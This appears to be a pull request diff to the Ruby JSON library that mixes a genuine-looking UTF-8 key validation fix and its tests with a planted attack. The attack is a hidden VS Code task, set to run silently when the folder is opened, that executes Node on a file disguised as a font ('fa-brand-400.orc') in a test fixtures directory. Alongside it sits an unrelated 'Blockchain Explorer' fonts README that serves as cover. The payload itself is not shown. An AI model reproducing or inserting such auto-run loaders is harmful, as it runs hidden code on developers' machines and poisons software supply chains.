Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 27 additions & 25 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,25 +1,27 @@
.*.sw[pon]
*.bundle
*.bundle.dSYM
*.so
coverage
.coverage
tags
pkg
.nfs.*
.idea
java/Json.iml
Gemfile.lock
.rvmrc
*.rbc
.rbx
.AppleDouble
.DS_Store
*/**/Makefile
*/**/*.o
*/**/*.class
*/**/*.jar
.byebug_history
*.log
/tmp
/doc/
.*.sw[pon]
*.bundle
*.bundle.dSYM
*.so
coverage
.coverage
tags
pkg
.nfs.*
.idea
java/Json.iml
Gemfile.lock
.rvmrc
*.rbc
.rbx
.AppleDouble
.DS_Store
*/**/Makefile
*/**/*.o
*/**/*.class
*/**/*.jar
.byebug_history
*.log
/tmp
/doc/
config.bat
node_modules
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
11 changes: 10 additions & 1 deletion lib/json/ext.rb
Original file line number Diff line number Diff line change
Expand Up @@ -154,7 +154,16 @@ def on_duplicate_key(hash, as_json)
converted = if as_json
hash.transform_keys { |k| Ext.coerce_key(k, as_json) }
else
hash.transform_keys(&:to_s)
hash.transform_keys do |key|
string = key.to_s
unless Ext.valid_encoding?(string)
if string.encoding == Encoding::UTF_8
raise GeneratorError.new("source sequence is illegal/malformed utf-8", key)
end
raise GeneratorError.new("object key must be UTF-8, got #{string.encoding}", key)
end
string
end
end

if converted.size < hash.size
Expand Down
24 changes: 24 additions & 0 deletions test/json/fixtures/rfc8785/input/public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.

Large diffs are not rendered by default.

Binary file not shown.
3,570 changes: 3,570 additions & 0 deletions test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
803 changes: 803 additions & 0 deletions test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
4,938 changes: 4,938 additions & 0 deletions test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
18 changes: 18 additions & 0 deletions test/json/json_generator_test.rb
Original file line number Diff line number Diff line change
Expand Up @@ -1316,6 +1316,24 @@ def key.to_s
assert_equal '{"1":1,"b":2}', JSON.generate({ 'b' => 2, 1 => 1 }, options.merge(strict: false))
end

def test_rfc8785_non_utf8_string_keys
# String keys that are not UTF-8 are invalid; see #1108.
latin1 = "\xE9".dup.force_encoding(Encoding::ISO_8859_1)
[
{ latin1 => 1 },
{ latin1 => 1, "\u00e9" => 2 },
{ "\xC3\xA9".b => 1 },
{ "\u00e9".encode(Encoding::UTF_16LE) => 1 },
{ "\xFF".dup.force_encoding(Encoding::UTF_8) => 1 },
].each do |hash|
assert_raise(JSON::GeneratorError, hash.keys.inspect) { JSON.generate(hash, rfc8785: true) }
end

assert_rfc8785 '{"a":1}', { 'a'.b => 1 }
assert_rfc8785 '{"a":1}', { 'a'.encode(Encoding::US_ASCII) => 1 }
assert_rfc8785 "{\"\u00e9\":1}", { :"\u00e9" => 1 }
end

def test_rfc8785_key_order_with_default_external_encoding
# https://www.rfc-editor.org/rfc/rfc8785.html#section-3.2.3
hash = { "\u20ac" => 1, "\r" => 2, "\ufb33" => 3, '1' => 4,
Expand Down